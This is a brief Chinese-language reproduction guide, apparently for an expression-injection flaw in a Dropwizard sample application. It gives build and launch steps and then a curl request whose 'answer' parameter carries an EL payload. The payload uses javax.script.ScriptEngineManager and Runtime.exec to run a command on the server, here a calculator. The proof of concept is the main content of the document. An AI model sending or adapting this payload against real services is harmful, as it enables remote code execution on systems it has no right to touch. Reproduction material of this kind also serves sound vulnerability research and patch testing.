mvn clean install 来构建你的应用程序java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml 启动应用程序http://localhost:8080pom.xml 中的某些错误插件并未影响复现

curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}